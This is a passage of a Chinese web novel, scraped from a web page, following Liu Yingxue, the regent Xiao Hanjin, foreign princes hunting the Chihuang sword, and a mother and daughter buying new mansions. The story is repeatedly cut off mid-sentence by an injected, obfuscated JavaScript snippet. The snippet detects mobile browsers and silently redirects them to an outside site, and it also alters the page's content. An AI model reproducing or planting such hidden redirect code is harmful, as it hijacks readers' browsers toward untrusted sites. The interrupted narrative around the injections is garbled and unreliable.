朱雅芸正在一间精致的包房中用膳。这间屋子是她当年特意为女儿设计的,从摆设到餐具,无一不是精心挑选。窗外的梅花正好,淡淡的香气飘进来,却勾起了她不愿回想的往事。 “刘叔。”她放下筷子,声音平静,“帮我留意一下售卖的宅院。” 孙掌柜一愣。“小姐这是...” “我已和柳丞相和离。”朱雅芸淡淡道。 孙掌柜先是一惊,继而露出欣慰的笑容。“小姐做得对!那柳丞相根本配不上您。这些年,您受的委屈...” “过去的事就不必再提了。”朱雅芸打断他的话,眼底闪过一丝疲惫,“对了,以后柳府的人来用膳,一律不准赊账。” “这个小姐放心,当年老爷定下的规矩,从未破过。”孙掌柜拍着胸脯保证。 “那就好。”朱雅芸点点头,“再让人做块朱家的匾额,等选好了宅院就用得上。” 孙掌柜应声退下,朱雅芸望着窗外的梅花出神。记忆中那个少年郎的音容笑貌,早已模糊不清。她轻轻摇头,将那些不该有的念头驱散。 另一边,摄政王府。 柳映雪正在享用着甜点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505521|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上洋溢着幸福的笑容。眼前的点心精致可爱,每一口都让她忍不住发出满足的叹息。 “雪儿喜欢吃甜食?”萧寒瑾看着她的模样,眼中闪过一丝宠溺。 “嗯!”柳映雪用力点头,眼睛亮晶晶的,“司王府的点心真好吃,尤其是这个桂花糕,香甜可口又不腻。” “那待会让人多准备些,带回去给令堂也尝尝。”萧寒瑾温声道。 “谢谢王爷!”柳映雪眼睛一亮,“我娘也最喜欢吃甜食了,尤其喜欢桂花做的点心。” 萧寒瑾默默记下这一点,随后提醒道:“过几日长公主要办赏兰宴,你大概也会收到请帖。” “长公主?”柳映雪一脸茫然,“是皇家的长公主吗?” “是皇后娘娘的女儿。”萧寒瑾解释道,“她每年都会举办赏兰宴,邀请未婚男女参加。这是京城一年一度的盛事。” “你已经被赐婚了,为何还要邀请你参加赏兰宴?”柳映雪轻声问道。 “整个青云国都在议论丞相府的嫡女死而复生,你说他们能不好奇吗?”萧寒瑾站在她身后,目光深邃。 寒气从窗缝中渗入,柳映雪不自觉地裹紧了身上的狐裘。“所以这是一场展览会?让大家来围观我这个"死而复生"的丞相府嫡女?”她的声音里带着一丝嘲讽。 “你若不想去,大可不必勉强。”萧寒瑾转身,“现在的你,是本王未来的王妃,除了皇上与皇后,谁还能让你低头?” 柳映雪眼中闪过一抹惊喜,“这么说,以后见了其他人,我都不用行礼了?”她的声音里带着几分雀跃。 萧寒瑾轻笑,修长的手指轻轻拂过她的发丝,“不止如此。从今以后,谁敢给你脸色看,你尽管还回去。就算把皇宫闹个天翻地覆,有本王在,谁也动不了你。” 柳映雪心中一暖,却又觉得好笑,“我可没那么大的胆子,把皇宫闹个天翻地覆?那不是找死吗?” “我只是说说而已。”萧寒瑾目光柔和,“你放心,有我在。” 柳映雪沉默片刻后开口:“不过这赏兰宴,我还是要去的。躲来躲去,反倒显得我心虚。大不了,谁要是敢来找茬,我就让她知道知道,现在的柳映雪可不是好欺负的。” 萧寒瑾眸光微动,嘴角勾起一抹若有似无的笑意,“你能这么想最好。” 他们又寒暄了片刻,柳映雪才起身告辞。萧寒瑾亲自送她到门口,看着她的身影消失在飘雪中,才转身回府。 第五十六章 暗流涌动 长公主府内,华灯初上。夜洛玉正慵懒地靠在描金雕花的贵妃榻上,手中捧着一本诗集。她的故事在青云国广为流传——当年未出阁时,她曾偷溜出宫,遇到了落魄书生吴子谦。 那时的吴子谦正要参加科举,却因欠下客栈银钱被赶了出来。夜洛玉见他气质不凡,便暗中替他付了银钱。后来吴子谦高中状元,夜洛玉才向父皇表明心迹。两人喜结连理,琴瑟和鸣。虽然只得一女,但日子过得甚是美满。 “公主,三皇子府送来一封信。”丫鬟轻声禀报,双手恭敬地呈上一封火漆封好的信件。 夜洛玉放下诗集,修长的手指轻轻拆开信封。看罢后,她嘴角微扬,眼中闪过一丝玩味。纵然皇弟三缄其口,她也打算邀请那位未来的摄政王妃。这位突然“复生”的丞相府嫡女,着实令人好奇。 “告诉他们,本郡主早已心知肚明,请柬这会儿就该送来了。”她的声音清冷悦耳。 茶楼二楼的雅间内,一名气质儒雅的男子正望着窗外熙攘的街市。他是西幽国的小皇生。 “小皇生,这青云国当真繁华。”侍卫感叹道,目光扫过街道两旁琳琅满目的店铺。 “自然。”小皇生冷笑,手中的茶盏轻轻晃动,“有萧寒瑾这样的摄政王在,谁敢轻易犯境?只可惜...” 他目光幽深,看向远处皇宫的方向,“紫圣皇帝太过愚蠢,碰到这等能人怎能白白浪费,反而处处提防。这倒给了我们西幽可乘之机。” 雪越下越大,街上的行人渐渐稀少。小皇生站在窗前,眼中闪过一丝算计。他轻抚着腰间的玉佩,那是西幽皇室的信物,上面雕刻着精美的龙纹。 “传令下去,让人多打听打听这位"死而复生"的丞相府嫡女。”小皇生淡淡开口,“本王倒要看看,她究竟有什么特别之处,能让萧寒瑾如此重视。” 寒风呼啸,细雪纷飞。司徽风站在清逸客栈的窗前,目光投向街道上熙熙攘攘的人群。青云国的雪天比西幽要冷得多,可他却感受不到这份寒意。此行事关重大,由不得他不谨慎。 “小皇生,茶要凉了。”司平端着新沏的茶走近,将茶盏放在案几上。 司徽风转身,接过茶盏轻轻抿了一口。茶香在口中蔓延,却难以抚平他内心的焦躁。 “小皇生...”司平欲言又止,最后还是开口道:“公主执意要嫁到青云国,这事怕是不好办。” “皇妹向来任性。”司徽风放下茶盏,眸光微冷,“这次,怕是要碰个头破血流了。” 司平面露忧色:“可是公主手握重要嫁妆,那座边境城池...” “呵。”司徽风冷笑一声,“萧寒瑾那种人,想要什么会靠女人施舍?况且那座城池不过是个空壳子罢了。” “小皇生的意思是...”司平若有所思地看着自家主子,“皇上和皇后娘娘是故意纵容公主?” “父皇母后也是无奈。”司徽风摇头,语气中带着几分无奈,“皇妹性子倔强,认准的事九头牛都拉不回来。让她自己撞了南墙,也许才会醒悟。” 屋内一时陷入沉默,只有窗外的风声呜咽。 “那赤凰剑的事...”司平小心翼翼地提起另一个话题。 司徽风眼神骤然一凛,周身气势陡然变得凌厉:“这才是我们此行的真正目的。你立刻派人去祭台探查,务必要在皇妹到达之前找到些线索。” “巫师大人为何不直接指明方位?” “他已经受到天机反噬,需要闭关三年。”司徽风眉头紧蹙,“此事只能靠我们自己了。” “属下这就去安排。”司平顿了顿,又补充道:“对了,还要查探柳映雪和柳丞相府的情况。” “去吧。” 待司平退下后,司徽风的目光落在街对面的凤栖楼。那里灯火通明,觥筹交错,衬得这个雪夜格外热闹。他知道,这盘棋已经开始了。 与此同时,摄政王府。 绿风快步走进书房,看见萧寒瑾正在批阅奏折。烛光映照下,那张俊美的面容显得格外深邃。 “王爷。”绿风躬身行礼,“西幽国小皇生已经抵达京城,他们住在清逸客栈。” 萧寒瑾手中的毛笔顿了顿,墨迹在宣纸上晕开一朵墨花:“他们的目的很明显。” “是为了赤凰剑。”绿风点头,“属下已经派人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505522|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着他们了。” “玉徒生呢?” “还在路上。”绿风语气中带着几分无奈,“玉太子走走停停,欣赏风景,十天的路程走了半个月。” 萧寒瑾眉头微蹙:“南安国的公主也到了?” “刚到京城,还未安顿。” “都盯紧点。” 绿风刚退下,绿竹就急匆匆地进来:“王爷,华神医说要出府采买药材。” “让他去。”萧寒瑾淡淡道,随即想起什么,“那药...” “都给他下在茶水里了。”绿竹挠头,面露困惑,“就是最近华神医总是傻笑,问他又说没有...” 萧寒瑾嘴角抽了抽,看来雪儿给的药效果不一般。他放下毛笔,揉了揉太阳穴。 “对了。”萧寒瑾想起什么,“把本王闲置的府邸介绍给朱夫人,让雪儿和她母亲挑选。记住,该收银子还是要收,否则她们不会接受。” “属下明白。” 看着绿竹退下,萧寒瑾望向窗外飘落的雪花。各方势力已经汇聚到京城,这场博弈,才刚刚开始。 雪越下越大,将整个京城笼罩在一片银白之中。街上的行人渐渐稀少,但各个势力的暗线却在黑暗中悄然活动。 清逸客栈外,一个蒙面人影闪过,消失在飞雪中。片刻后,另一道身影紧随其后。 柳府后院,柳映雪正对着铜镜梳妆。她看着镜中的自己,眼神略显迷茫。自从那日在街上遇见萧寒瑾,她的心就再也无法平静。 “小姐。”丫鬟小声禀报,“打听到了,西幽国的小皇生和公主都来了。” 柳映雪手中的梳子一顿:“可知道他们的目的?” “听说是为了赤凰剑...” “赤凰剑?”柳映雪眸光一闪,“有意思。” 与此同时,南城门外。 一队华贵的马车缓缓驶来,为首的马车上绣着凤纹,正是南安国的标志。 “公主,已经到京城了。”随从恭敬地掀开车帘。 车内传来一个清冷的女声:“知道了。” 雪夜的京城,暗流涌动。各方势力蛰伏待发。 第五十七章 人剑合一之境 柳映雪从修炼中睁开双眼。 她活动了下有些僵硬的身子,唇角不自觉地勾起一抹浅笑。这段时日的闭关,收获颇丰。赤凰剑已臻至人剑合一之境,每次挥剑时都能感受到剑气与自身灵力的完美融合;鸾琴更是突破了瓶颈,达到了十级的造诣。 几本秘籍除了清风扇外,其余皆已修炼完毕。她轻轻摸着手中的玉扇,眉头不自觉地蹙起。。 “这扇子,恐怕连只蚊子都打不死。”柳映雪叹了口气,手指轻轻敲击着扇骨。 在空间中沐浴更衣后,她推门而出。扑面而来的新鲜空气让她精神一振,院中的海棠开得正艳,粉白的花瓣随风飘落,好不惬意。 “小姐!”门外守候多时的青莲和梅枝见到她出来,如同看到救星般冲了上来。青莲眼圈微红,“您这一闭关就是七天,奴婢们都快担心**。” 梅枝连忙接话:“小姐您都没吃东西,奴婢这就去厨房...” “不必了。”柳映雪轻轻摆手,打断了她的话,“我要去见娘亲。” “夫人正在用午膳,小姐去得正是时候。”青莲擦了擦眼角,笑着说道。 一路上,青莲絮絮叨叨地汇报着这些天发生的事。“夫人可想小姐了,天天让绣坊赶制新衣裳,连明年晓天的都做好了。前儿个还特意去了趟首饰铺子,给小姐定制了一套头面...” 听着丫鬟的话,柳映雪心中暖意融融。自从父亲去世后,娘亲就一直把所有的爱都给了她。 来到朱氏的院落,清幽的梅香扑面而来。朱氏正坐在窗边用膳,听到脚步声抬头望去,眼中瞬间绽放出惊喜的光芒。 “娘亲!”柳映雪快步上前,一把抱住朱氏的胳膊,撒娇道,“想死我了。” 朱氏眼中满是慈爱,伸手轻抚她的发丝:“快来用膳,瞧把你给饿的。” “娘亲,这几天修炼可累了。”柳映雪坐下来,一边用膳一边说道,“不过总算是有了些进展。” “傻丫头,”朱氏给她夹了块糖醋排骨,“修炼要循序渐进,别太着急。你还小,有的是时间。” 用完膳后,柳映雪借着整理衣袖的动作,悄悄往水缸中加入月露水。这是她专门为娘亲准备的,每日饮用都能改善体质。看着娘亲日渐红润的面色,她心中暗暗欣喜。 “雪儿,”朱氏从袖中取出一张精致的请帖,“这是公主府送来的。” 柳映雪接过一看,是两日后的赏兰宴。她扫了眼帖子上烫金的字迹,唇角微勾:“娘亲放心,女儿一定会去的。” 朱氏面露忧色,纤细的手指不自觉地绞着帕子:“那些大臣家的嫡女,性子都不好相与...你又许久没参加这种场合了...” “娘亲,”柳映雪打断道,眼中闪过一丝狡黠,“您忘了您女儿是谁了?谁敢欺负我,我就让她知道什么叫后悔。” 朱氏被她逗笑了,点了点她的额头:“就你能耐。” “那是自然,”柳映雪得意地扬起下巴,“您女儿可是天下第一聪明。” “行了行了,”朱氏宠溺地看着她,“就你会哄娘亲开心。” 午后的阳光正好,母女二人说说笑笑,其乐融融。柳映雪看着娘亲温柔的笑容,心中暗暗发誓,一定要保护好这份温暖。 夜幕降临时,柳映雪回到自己的院子。她坐在梳妆台前,望着铜镜中的倒影,眼神渐渐变得深邃。 “小姐,要给您梳头吗?”青莲拿着梳子走了进来。 柳映雪摇摇头:“你们下去休息吧,我想一个人静静。” 待丫鬟们退下后,她从空间中取出一本古籍。这是她在上次秘境中得到的,记载着各种奇珍异宝的来历。她翻到其中一页,上面画着一把通体墨色的折扇。 “青龙扇...”柳映雪轻声念道,手指轻轻抚过泛黄的纸页,“据说是上古大能遗留下的法器,不知是真是假。” 她合上书籍,走到窗前。夜风轻拂,带来远处的梅香。两日后的赏兰宴,想必会很有趣。她眯了眯眼,嘴角勾起一抹若有若无的笑意。 次日一早,柳映雪刚用完早膳,就听到外面传来一阵喧哗。 “小姐!”梅枝匆匆跑进来,“镇镇国府的大小姐来访。” 柳映雪挑了挑眉,放下手中的茶盏:“请她到花厅吧。” 来人是镇镇国府的嫡女苏婉,也是即将举办赏兰宴的长公主的表妹。两人虽然年纪相仿,但平日里并无来往。这次突然登门,想必别有用意。 花厅内,苏婉正优雅地品着茶。见柳映雪进来,她立刻起身行礼:“柳小姐。” “苏小姐不必多礼。”柳映雪示意她坐下,“不知今日登门,所为何事?” 苏婉放下茶盏,面露为难之色:“实不相瞒,是关于后日赏兰宴的事。” “哦?”柳映雪微微一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505523|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“说来听听。” “听闻柳小姐近日修为大进,”苏婉欲言又止,“我表姐...长公主想请您在宴会上献艺。” 柳映雪眸光微闪:“献艺?” “是的,”苏婉点头,“表姐说,想请您为大家弹奏一曲。” 柳映雪轻轻摩挲着茶杯,若有所思。这长公主突然对她这么感兴趣,恐怕没那么简单。不过...她唇角微勾,这倒是个不错的机会。 “那就恭敬不如从命了。”她浅笑道,“替我谢谢长公主。” 寒风凛冽,马车缓缓驶过街道。车轮碾过地面的积雪,发出细微的嘎吱声。车厢内,炭盆的温暖驱散了些许寒意。 “雪儿,孙掌柜昨日派人来说,找到了几处不错的府邸,若你下午无事,我们一同去看看。”朱氏温柔地看着女儿,手中捧着一杯热茶,茶香袅袅升腾。 柳映雪正出神地望着窗外飘落的雪花,听闻此言,转过头来,眼中闪过一丝期待:“好啊娘亲!正好我也想换个地方住。” 朱氏将手中的茶盏放下,转头吩咐门口的大丫鬟:“柳晓,去准备出行的物件,一会本夫人与小姐要外出。” “是,夫人。”柳晓应声退下,裙摆带起一阵轻微的风。 “青莲,去取一件厚实的披风来,外头风大。”朱氏又唤来另一个丫鬟,目光中满是关切。 青莲领命而去,脚步轻快。柳映雪看着娘亲为自己操心的模样,心中一暖。 马车行驶间,柳映雪的思绪不由自主地飘向了前几日的遭遇。那日在凤栖楼,萧寒瑾突然出现,一番话语间暗藏玄机。她隐约觉得,这次看房恐怕没那么简单。 不多时,马车停在了凤栖楼前。 孙掌柜早已在门口等候,见马车到来,连忙迎上前去,搓着手说道:“大小姐,天寒地冻的,要不先进楼里暖暖身子?” 朱氏掀开车帘一角,寒风立即灌了进来:“刘叔,咱们直接过去瞧瞧。若中意,还要劳烦你帮忙购置。” 很快,中人白掌柜也赶了过来。一行人浩浩荡荡往城中几处待售的府邸而去。路上,柳映雪注意到白掌柜时不时擦拭额头的汗珠,明明天寒地冻,他却紧张得像是在三伏天里走路。 “白掌柜似乎有些不安?”柳映雪轻声问道。 白掌柜一个激灵:“没...没有的事,就是这几日没休息好。”说着又擦了把汗。 第五十八章 看府邸 第一处院子位于城南,是一座四进的大宅院。朱漆大门,影壁巍峨,抬头便能看见飞檐翘角。庭院内假山叠石,松柏常青,颇有气势。 “这处宅院地段繁华,距离凤栖楼也近。”孙掌柜介绍道,“适合做生意的老板居住。” 第二处位于城西,虽然偏僻些,但是一座难得的江南园林。亭台楼阁错落有致,小桥流水潺潺,假山石径曲折通幽。即便是在寒雪,也能感受到几分诗情画意。 “这园子倒是别致。”朱氏赞叹道,“雪儿,你觉得如何?” 柳映雪正要开口,忽见一片雪花飘落在眼前的石桥上。她蹙眉思索,这两处宅院都太过完美,完美得不像是正常待售的房产。 “白掌柜,这两处府邸,要价几何?”朱氏问道。 白掌柜支支吾吾,他悄悄地指了指,额头的汗更多了。 “一百万两?”朱氏蹙眉。这个价格在京都城并不算离谱。 白掌柜连连摇头,脸色愈发难看。 “十万两?”孙掌柜也觉得不对劲,追问道。 白掌柜又是摇头,整个人似乎都要缩成一团。 柳映雪看不下去了:“白掌柜,你这一根手指到底是几个意思?一万?一千?还是一两银子?” “一...一万两。”白掌柜终于说出了价格,声音细若蚊蝇。 “什么?”朱氏惊呼出声,“这怎么可能?” 柳映雪眸光一闪,心中已有计较。这般豪宅,竟如此贱卖,背后定有隐情。她第一个想到的就是萧寒瑾,但另一处宅院的主人是谁? 庭院内一阵冷风吹过,卷起几片枯叶。柳映雪看着白掌柜那副欲言又止的模样,直接开门见山:“白掌柜,实话实说吧。这宅院是谁托你卖的?” 白掌柜被她锐利的目光看得心虚,擦了擦额头的汗:“实不相瞒,是有两拨人托小的,这处和隔壁是一位贵人所赐,其余几处是另一位。他们都说,只许让孙掌柜带人来看。” 柳映雪嘴角微扬。果然如此。她转向朱氏:“娘亲,我们买下吧。” 朱氏有些犹豫:“雪儿,这价格太反常了,我担心...” “娘亲放心,若真有什么变故,大不了我们重新置办就是。”柳映雪安慰道,心中却在盘算着这背后的玄机。 最终,在柳映雪的劝说下,朱氏同意了购置两处宅院。孙掌柜和白掌柜随即去府衙办理手续。 与此同时,丞相府中。 柳书兰站在铜镜前,手指轻轻抚过脸上的伤痕。镜中倒映出的容颜让她心如刀绞,原本光洁如玉的面庞此刻布满了狰狞的疤痕,有些地方甚至还在渗出淡淡的血丝。 “这样的我,还有什么资格出现在三皇子面前?”她喃喃自语,指尖微微颤抖。 房门被轻轻推开,二夫人端着一个精致的白瓷瓶快步走了进来。她看到女儿失魂落魄的模样,心疼地叹了口气。 “兰儿,娘给你带来了好东西。”二夫人将瓷瓶放在梳妆台上,轻声安慰道。 柳书兰抬眼望去,只见瓶中有什么东西在蠕动,白色的虫子在瓶中扭曲着身体。她下意识地后退几步,脸色煞白。 “这...这是什么?”她捂住嘴,强忍着反胃的感觉。 二夫人握住女儿的手,语气中带着几分期待:“这是你舅舅从巫域求来的宝贝。只要服下它,你的容貌就能恢复如初。” “真的吗?”柳书兰眼中闪过一丝希望,但很快又黯淡下来,“可是...这东西看起来...” “傻孩子,你放心。”二夫人轻抚着女儿的发丝,“等它完成使命,自然会从掌心钻出来。你想想,过几日就是长公主府的赏兰宴,京都城里的贵女名媛都会出席...” 柳书兰咬着下唇,眼中满是挣扎。她当然明白母亲的意思,三皇子一定会出席赏兰宴。如果让他看到自己现在这副模样... “给我吧。”她深吸一口气,接过瓷瓶。 冰凉滑腻的触感让她几欲作呕,但她还是强忍着将虫子咽了下去。很快,一股奇异的感觉从脸上传来,皮肤开始发烫,仿佛有无数细针在扎。 “啊!”她忍不住惊叫出声,手指抚上脸颊,竟发现原本溃烂的皮肤正在脱落,露出下面新生的嫩肉。 “镜子!快给我镜子!”她急切地喊道。 当看清铜镜中的倒影,柳书兰喜极而泣。虽然脸上还有些浅浅的坑洼,但已经比之前好太多了。只要稍加修饰,便可遮掩过去。 就在这时,她的掌心传来异样的触感。一只通体鲜红的虫子正在她手心蠕动,与之前白色的虫子截然不同。 “娘,这是...”柳书兰惊疑不定地看向二夫人。 “快放回瓶中。”二夫人连忙递过瓷瓶,将红色虫子装了进去。 母女俩沉浸在喜悦中,全然不知这只是一场精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“只是些小玩意罢了。”柳映雪浅浅一笑,眸中闪过一丝狡黠。 朱氏轻抿了口茶,若有所思地说道:“正好,我也要去孙掌柜那里看看新进的绸缎,顺便去新府邸转转。今年的年节就在那边过,地方宽敞些。” “那女儿陪娘亲一道去吧。” 第五十九章 定制飞镖 母女二人坐着马车,到了凤栖楼后,柳映雪将朱氏送进去,便带着青莲和梅枝直奔匠铺。 远远地,掌柜就看到了柳映雪的身影。他连忙放下手中的账本,快步迎了上来:“小姐来得正好,您定制的东西昨日就已完工了。” 柳映雪微微颔首,在椅子上坐下。掌柜很快从后堂取来一个雕工精致的红木盒子,将十枚流星针整齐地摆在桌上。 她仔细端详着每一枚飞镖,手指轻轻抚过镖身。虽然做工比不上前世的精良,但在这个时代已算得上上乘之作。 她满意地点头:“不错,有劳掌柜了。” 结完账后,柳映雪趁着无人注意,将流星针收入空间。刚走出匠铺没多远,一阵急促的脚步声从拐角传来。还未等她反应,一道娇小的身影就像一阵风似的冲了出来。 柳映雪早有防备,身形一侧便轻巧地避开了。但那人却直接撞上了丫鬟梅枝,两人双双摔倒在地,发出一声闷响。 青莲赶紧扶起梅枝,不悦地看着那个小姑娘:“姑娘家走路也该稳重些。” “对不起!”小姑娘慌忙道歉,一张圆圆的小脸写满了焦急,眼中还带着几分惊慌,“一群人正紧追不舍地跟在我身后。” 柳映雪打量着这个不速之客。一身月白色的锦缎衣裳,绣着精致的海棠花纹,腰间系着价值不菲的玉佩,一看就是出身不凡。 她约莫十三四岁的年纪,圆润的杏眼,樱桃般的小嘴,五官精致得像个瓷娃娃。 话音刚落,几个气喘吁吁的小厮追了上来,将几人团团围住。他们个个面带凶相,手中还拿着木棍。 “可算逮到你了!”为首的小厮怒道,额头上的汗珠不断滚落,“吃了饭不给钱,掌柜的说了,把你卖到碧玉阁抵债!” 小姑娘不服气地嚷道:“本小姐说过明日给钱,难道本小姐的话不值钱吗?”她说这话时昂着小脑袋,一副骄傲的模样。 “一千两银子!”小厮冷笑一声,眼中闪过一丝贪婪,“就怕把你卖了都不够抵债!” “本小姐怎会不值一千两?”小姑娘气鼓鼓地反驳,圆圆的脸蛋涨得通红。 柳映雪暗自摇头,这姑娘的关注点着实有些特别。不过看她的穿着打扮,确实不像是付不起钱的人。这其中怕是另有隐情。 就在此时,小姑娘想要逃跑,却因为方才摔倒扭伤了脚,一个踉跄又跌坐在地。几个小厮见状,眼中闪过不怀好意的光芒,目光在柳映雪和青莲身上来回打量。 “今天真是走运,一下逮着三个美人。”一个小厮舔了舔嘴唇,露出猥琐的笑容,“卖到碧玉阁,够抵好几千两了。” 青莲立刻挡在柳映雪身前,怒视着几个小厮。她虽然只是个丫鬟,但也知道这些人不怀好意。地上的小姑娘急得直喊:“你们快走!都是我连累了你们!” 柳映雪嘴角微扬,这傻姑娘倒是心地纯良。她手中悄然握住了五枚流星针,眼神陡然变得凌厉。路人纷纷后退,生怕被卷入其中。 “想把我们卖到碧玉阁?”她冷冷一笑,声音中带着几分讥讽,“就怕你们没这个本事。” 几道身影在街角一闪而过。 柳映雪的目光微微一凝,纤细的手腕轻轻一抖,几道寒光便如流星般划过夜空。银针精准地朝着那几个鬼鬼祟祟的身影飞去。 “嘶——” 几声倒抽冷气的声音几乎同时响起,打破了街道的宁静。 那几名小厮这才发现,他们的右臂衣袖不知何时已经被划开一道整齐的口子,皮肤渗出细密的血珠。月光下,血珠泛着诡异的光泽,衬得他们的脸色更加苍白。 带头小厮的瞳孔猛地收缩,冷汗顺着额角滑落。他下意识地摸了摸手臂上的伤口,指尖传来的刺痛让他不禁打了个寒颤。 这位看似柔弱的姑娘,出手之快,力道之准,简直令人胆寒。若她真要取他们性命,恐怕连反应的机会都没有。 “撤!”带头小厮一声令下。几人仓皇而逃,慌乱的脚步声渐渐消失在街角的阴影中。 柳映雪收回目光,长袖下的手指轻轻摩挲着剩余的银针。突然,她感觉有道灼热的视线落在自己身上,那目光仿佛能将人灼伤。 她转头看去,只见不远处的小摊前,一个身着红衣的男子正目不转睛地盯着这边。那人生得俊美,眉目如画,却带着几分轻浮之气,活像一只翩翩起舞的花蝴蝶。他的目光灼灼,毫不掩饰对她的兴趣。 “太子爷,妈呀,我又干掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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柳映雪微微蹙眉:“你比我大。”她的声音依旧平静。 “哎呀,牛的不得了的,都是我姐姐!”东玉琳笑嘻嘻地说,丝毫不在意年龄的问题。 第六十二章 被人跟踪 楼下大堂一片嘈杂,玉太子正在人群中寻找空位。他环顾四周,发现一楼几乎座无虚席,不少食客正挤在一起用餐。 “小二,可有雅间?”玉太子拦住一个匆匆经过的店小二。 小二擦了擦额头的汗珠,露出为难的神色:“回公子的话,雅间都满了。”他不敢说是摄政王府的人特意吩咐过,不许这位上楼。 玉太子眉头微皱,目光一转,忽然看到角落里独自用膳的东玉琳。她面前摆着几道菜,旁边的位置恰好空着。 “那边的位置如何?” “好嘞,小的这就去准备。”小二如蒙大赦,连忙应道。 东玉琳正大快朵颐,一点不顾及淑女形象。她将一块红烧肉塞进嘴里,腮帮子鼓鼓的,像只贪吃的小松鼠。 玉太子在她对面坐下,看着她的吃相,忍不住摇头:“你这是饿了多久?” “关你何事?”东玉琳白了他一眼,继续大口扒饭,“本小姐就喜欢这样吃,不行啊?” “这是什么吃法?”玉太子看着她狼吞虎咽的样子,既觉好笑又有些新奇。 “你没见过乞丐吃饭吗?”东玉琳放下筷子,一脸认真地说,“他们吃得多痛快啊,我就想试试。” 太子殿下双眼放光:“有道理,本太子也来尝尝。”说着,他也不顾形象地抓起一块鸡腿就啃。 一旁的玉七看得目瞪口呆,这是什么奇葩对话?堂堂太子竟然学起乞丐吃相来了。 与此同时,司马澄的马车正在赶往京都城的路上。他突然打了个喷嚏,揉了揉发痒的鼻子。 “少爷没事吧?”管家关切地问道。 “无妨。”司马澄掀开车帘,望向远方连绵的山脉,眼中带着期待,“还有多远到京都城?” “回少爷的话,还有一日路程。”管家恭敬地回答,“柳小姐已经按照您的吩咐买下了那处府邸。” 司马澄眼中闪过一丝柔和:“之前相中的两座宅子,就是因为语容曾说过喜欢那样的格局。” 记忆中的画面浮现眼前,语容坐在院子里,手里拿着一支毛笔,在纸上画着理想中的府邸布局。她说着说着就兴奋起来,眼睛亮晶晶的,还不时比划。那时的她是那样生动鲜活,仿佛整个人都在发光。 马车轻轻晃动,司马澄闭上眼,任由思绪飘远。 明德殿内,皇上正在听取影卫的禀报。檀香袅袅,映得他的脸庞若隐若现。 “西岚太子和西幽小皇生提前到了?”皇上的声音透着几分冷意。 “是的,陛下。”影卫跪在地上,“小皇生的人已经在祭台附近活动,多半是为了得到那把赤凰剑。” “继续盯着。”皇上沉吟片刻,“摄政王最近如何?” “自从去过柳府后,就一直在府中未出。” 皇上冷笑一声:“怎么突然对柳家千金变得冷淡了?越是如此,朕越要让这门亲事成。”他的目光落在案上的奏折上,“长公主的赏花宴,三皇子特意让邀请了柳大小姐?” “是的,陛下。三皇子前些日子还见过澄世子。” 皇帝眼神中透着几分深沉。 “司公公。”他开口唤道,声音低沉而威严。 门外的太监立刻躬身而入,锦衣绣袍在地上划出一道恭敬的弧度。“皇上,老奴在。” “朕交代你的事情,可曾告知柳丞相?”皇帝的语气中带着几分不易察觉的急切,手指不自觉地加重了敲击的力道。 “回皇上,奴才已将旨意转达。”司公公额头几乎贴地,“丞相表示无论如何都要想办法把柳大小姐接回家。” “不是竭尽全力。”皇帝的声音陡然严厉,龙案被他猛地一拍,“是必须。柳大小姐日后还要为朕探查摄政王的底细。这件事情,容不得半点闪失。” 殿内的气氛骤然紧张,几个小太监噤若寒蝉,大气都不敢出。 “是是是,老奴这就去告知丞相。”司公公连连应声,额头上已沁出细密的汗珠。 皇帝微微颔首,重新将注意力投向案头的奏折。烛光在他脸上投下明暗不定的阴影,眼底闪过一丝晦暗不明的神色。 映月轩内,一阵轻快的脚步声打破了午后的宁静。 “小卉,你看这件宫装如何?”丞公主萧玉瑶站在铜镜前转了个圈,粉色的裙摆如花瓣般绽开,带起一阵清甜的香风。 “公主穿什么都好看。”小卉笑着说,手中拿着另一件华服,“这件粉色更衬得公主如桃花般娇艳。不过这件淡紫色的也很适合公主。” 